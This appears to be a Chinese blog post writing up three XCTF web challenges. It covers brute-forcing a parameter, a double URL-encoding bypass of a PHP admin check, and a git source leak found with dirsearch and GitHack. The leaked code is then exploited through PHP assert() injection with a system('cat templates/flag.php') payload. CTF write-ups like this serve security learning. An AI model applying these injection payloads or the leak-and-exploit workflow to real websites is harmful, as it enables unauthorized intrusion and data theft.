攻防世界 Web进阶(一)
嗯…,终于把新手区的题做完了,感觉学到了不少东西( •̀ ω •́ )y 今天来记录下进阶题
1、ics-06
 
 打开题目,一个看起来看来很炫酷的页面,瞎点一会发现只有一个报表中心可以进
 
 一开始以为是sql注入题,尝试了一会发现不是,这题考察的是爆破,当id=2333时,得到flag。

2、PHP2
 
 打开题目,御剑扫描,如果扫不到就说明你字典里需要添上了。
 
 发现index.phps源码泄露,打开网页:
 
 即:
<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
审计下代码,发现 要得到flag要满足两个条件
 一,要使"admin"===$_GET[id]不成立
 二,经过$_GET[id] = urldecode($_GET[id]);,使得$_GET[id] == "admin"成立。
知识点:
1、Url的编码格式采用的是ASCII码(16进制) 不能在Url中包含任何非ASCII字符,例如中文,如果Url中含有非ASCII字符的话, 浏览器会对Url进行urlencode,然后发送给服务器
2、关于urldecode/urlencode函数:
 当传入参数id时,浏览器在后面会对非ASCII码的字符进行一次urlencode
 然后在这段代码中运行时,会自动进行一次urldecode
 在urldecode()函数中,再一次进行一次解码
urldecode(%2561)=%61
urldecode(%61)=a
当第一次比较时,实际是
if("admin"==="%61dmin") 
而经过$_GET[id] = urldecode($_GET[id]);
第二次比较是:
if("admin" == "admin");
故构造:
 ?id=%2561dmin
得到flag
 
 3、mfw
 打开题目,是一个网站:
 
 随便翻翻,发现这个页面
 
 怀疑存在源码泄露,用dirsearch扫描一下,发现git源码泄露:

 dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件。
 用法:
dirsearch.py -u 目标网址 -e *(指定语言,也可以不指定为*)
详细请看:https://www.freebuf.com/column/153277.html
 果然存在git源码泄露;
利用GitHack下载源码
 关于GitHack一个git泄露利用脚本,很好用~
 详细请看https://www.freebuf.com/sectool/66096.html
 常用
python27 GitHack.py url/.git/

 下载完成,得到一个以url命名的文件夹;打开发现有flag.php但里面没东西;
 查看index.php文件:
 
 看到了关键代码:
<?php
if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
分析代码可知,
 若想得到flag,即得到"Detected hacking attempt!"
 则需要给page传入的须满足
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false")
尝试
?page=abc') or system("cat templates/flag.php");//
即
$file = "templates/?page=abc') or system("cat templates/flag.php");//.php";
即传?page=abc') or system("cat templates/flag.php");//
拼成下面语句:
assert("strpos('templates/?page=abc') or system("cat templates/flag.php");//.php', '..') === false") or
die("Detected hacking attempt!");
F12 得到flag
 
 assert() 函数:
 用来判断一个表达式是否成立。返回true or false
 详细:https://www.cnblogs.com/yuerdongni/archive/2013/10/12/3364954.html
 strpos()函数:
 
 参考文章:https://blog.csdn.net/wyj_1216/article/details/95218671
 
                     
                    
                 
                    
                
 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号